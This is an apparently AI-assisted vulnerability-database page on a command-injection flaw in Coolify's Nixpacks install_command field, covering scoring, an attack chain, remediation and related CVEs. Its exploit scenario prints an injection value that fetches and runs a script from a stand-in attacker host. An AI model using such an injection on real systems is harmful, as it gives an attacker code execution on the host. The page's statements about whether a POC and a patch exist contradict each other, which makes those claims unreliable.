Skip to main content

Coolify EUVDEUVD-2026-40224

| CVE-2026-34597 HIGH
OS Command Injection (CWE-78)
2026-06-29 GitHub_M
8.8
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate to Coolify panel
  2. Delivery
    Create/edit Nixpacks deployment
  3. Exploit
    Inject shell metacharacters into install_command
  4. Execution
    Trigger build phase
  5. Persist
    Command executes on deployment host
  6. Impact
    Host-level RCE achieved

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires an authenticated Coolify account (CVSS PR:L) with permission to configure a deployment, and the target application must use the Nixpacks build pack where the attacker can set the install_command build parameter. The attacker then triggers a build/deployment so the concatenated shell command executes on the host. Limiting factors: the attacker must already be authenticated and able to edit build configuration, so single-tenant instances used only by trusted operators face far lower realistic risk than shared or multi-user/internet-exposed instances; exploitation is constrained to deployments using Nixpacks with user-supplied install_command rather than other build packs.

Impact

The CVSS 3.1 base score is 8.8 (High) with vector AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H, indicating network-reachable, low-complexity exploitation requiring only low privileges and no user interaction, with full confidentiality/integrity/availability impact. The key gating factor is PR:L: the attacker must be an authenticated Coolify user with the ability to define build parameters, which limits exposure to multi-tenant or shared instances rather than fully anonymous attackers. No EPSS score, KEV listing, or POC was provided, so probabilistic exploitation likelihood cannot be quantified from the input; the absence of KEV/POC data suggests this is not yet known to be actively exploited, though the technical simplicity (string concatenation into a shell) makes reliable exploitation likely once a user has access. SSVC framing: exploitation status is currently 'none/POC unknown,' technical impact is 'total' (host-level RCE), and automatability is plausible for an authenticated user but constrained by the authentication requirement. Net: a real priority on any shared or internet-exposed Coolify instance, somewhat de-rated on single-tenant deployments where the only users are trusted operators.

Exploit ScenarioDerived

An attacker with a low-privileged Coolify account (for example, a developer on a shared instance) creates or edits an application configured to build with Nixpacks and sets the install_command to a value containing shell metacharacters such as ; curl attacker.sh | sh. When the deployment build runs, the injected command executes on the deployment host with the build process's privileges, giving the attacker command execution beyond the intended build sandbox. No public POC was provided, but the injection requires no user interaction and only low complexity.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.5% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 29, 2026

Authenticated remote code execution in Coolify (self-hosted PaaS) before 4.0.0-beta.470 lets a low-privileged authenticated user run arbitrary commands on the deployment host. The flaw is an OS command injection in the Nixpacks build pack: the user-supplied install_command build parameter is concatenated unsanitized into a shell command executed during the build phase, allowing escape from the build context to host-level command execution. There is no public exploit identified at time of analysis, and it is not listed in CISA KEV, but the path to abuse is straightforward for any user who can configure a deployment.

RemediationAI

Upgrade to the patched release Coolify 4.0.0-beta.470, which contains the fix (Vendor-released patch: 4.0.0-beta.470); see the advisory at https://github.com/coollabsio/coolify/security/advisories/GHSA-9pp4-wcmj-rq73. Until upgrading, restrict who can create or modify deployments and build configurations so that only fully trusted operators hold accounts (this reduces the multi-tenant attack surface but does not eliminate risk from any account that can edit build settings), avoid using the Nixpacks build pack or user-defined install_command values for untrusted projects (trade-off: limits build flexibility), and place the Coolify control panel behind network restrictions or a VPN so the authenticated UI is not broadly reachable (trade-off: less convenient remote access). These are compensating controls only; patching is the sole complete remedy.

Affected VersionsENISA

coolify < 4.0.0-beta.470

Affected Packages

euvd coolify fix: 4.0.0-beta.470

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Coolify is an open-source, self-hostable alternative to Heroku/Netlify for deploying applications, databases, and managing servers. It supports multiple build packs, including Nixpacks, which generates build environments automatically. The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command, i.e. OS command injection): the install_command field that users define for the Nixpacks build is injected directly into a shell command string that Coolify executes on the deployment host. Because shell metacharacters are not neutralized, supplied input is interpreted by the shell rather than treated as inert data. The affected component per CPE is cpe:2.3:a:coollabsio:coolify, all versions prior to the fixed 4.0.0-beta.470.

Know when Coolify gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 8.8 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
vuln.today AI 8.8 HIGH

Network-reachable web UI (AV:N) with simple injection (AC:L) by an authenticated config-capable user (PR:L) yields host RCE with full C/I/A impact.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

1
Patch available
Jun 29, 2026 - 22:02 EUVD

DescriptionCVE.org

Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. Prior to 4.0.0-beta.470, a critical Authenticated Host Remote Code Execution (RCE) vulnerability was discovered in Coolify. The flaw resides in the handling of user-defined build parameters for the Nixpacks build pack. Specifically, the install_command provided by a user is directly concatenated into a shell command string that is executed on the deployment host during the building phase. An attacker can leverage this to escape the intended build context and execute arbitrary commands with host-level privileges. This vulnerability is fixed in 4.0.0-beta.470.

Executive ViewAI

Why It Matters

Coolify versions before 4.0.0-beta.470 contain an authenticated remote code execution vulnerability in the Nixpacks build pack that allows low-privileged users to execute arbitrary commands on the deployment infrastructure. Any user with a Coolify account can exploit an unsanitized command injection in build configuration parameters to compromise the entire hosting environment, creating a critical insider risk for organizations relying on this self-hosted platform.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict deploy/build configuration access to administrative users only; (2) Implement host-level access controls and audit logging on deployment infrastructure; (3) Run Coolify and builds in isolated network segments; (4) Disable Nixpacks build pack if not in use, use container image deployments instead; (5) Monitor and log all build execution and configuration changes for forensic review.

Threat Intelligence Overview

EPSS Score
0.5%
Top 59% exploitable
Prevalence
Low
niche self-hosted PaaS, mostly self-hosters and small teams
Exploit
POC
Public exploit code exists
Social Media
4
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.5%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

65
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +44
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

CVE-2026-57498 CRITICAL POC
9.6 Jun 29

Cross-team authorization bypass in Coolify (open-source self-hosted PaaS) before 4.0.0-beta.474 allows an authenticated,

CVE-2025-34161 CRITICAL POC
9.4 Aug 27

Coolify versions prior to v4.0.0-beta.420.7 are vulnerable to a remote code execution vulnerability in the project deplo

CVE-2025-34159 CRITICAL POC
9.4 Aug 27

Coolify versions prior to v4.0.0-beta.420.6 are vulnerable to a remote code execution vulnerability in the application d

CVE-2025-64424 CRITICAL POC
9.4 Jan 05

Command injection in Coolify up to and including v4.0.0-beta.434 lets any authenticated low-privileged 'member' execute

CVE-2025-59156 CRITICAL POC
9.4 Jan 05

Remote code execution on the host OS is possible through Coolify's application deployment workflow prior to version 4.0.

CVE-2025-66211 CRITICAL POC
9.4 Dec 23

Authenticated command injection in Coolify's PostgreSQL initialization-script filename handling allows users with applic

CVE-2025-66210 CRITICAL POC
9.4 Dec 23

Coolify versions prior to 4.0.0-beta.451 pass user-supplied database names unsanitized into shell commands executed via

CVE-2025-66213 CRITICAL POC
9.4 Dec 23

Authenticated Coolify users who hold application or service management permissions can execute arbitrary commands as roo

CVE-2025-66212 CRITICAL POC
9.4 Dec 23

Authenticated command injection in Coolify before 4.0.0-beta.451 lets users with application or service management permi

CVE-2025-59158 CRITICAL POC
9.4 Jan 05

Stored cross-site scripting in Coolify versions up to and including v4.0.0-beta.420.6 lets an authenticated low-privileg

CVE-2026-34594 HIGH POC
8.8 Jun 29

Authenticated OS command injection in Coolify before 4.0.0-beta.471 lets any user holding destination management permiss

CVE-2025-59157 HIGH POC
8.8 Jan 05

Command injection in Coolify's Git Repository field during project creation allows an authenticated member account to ru

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy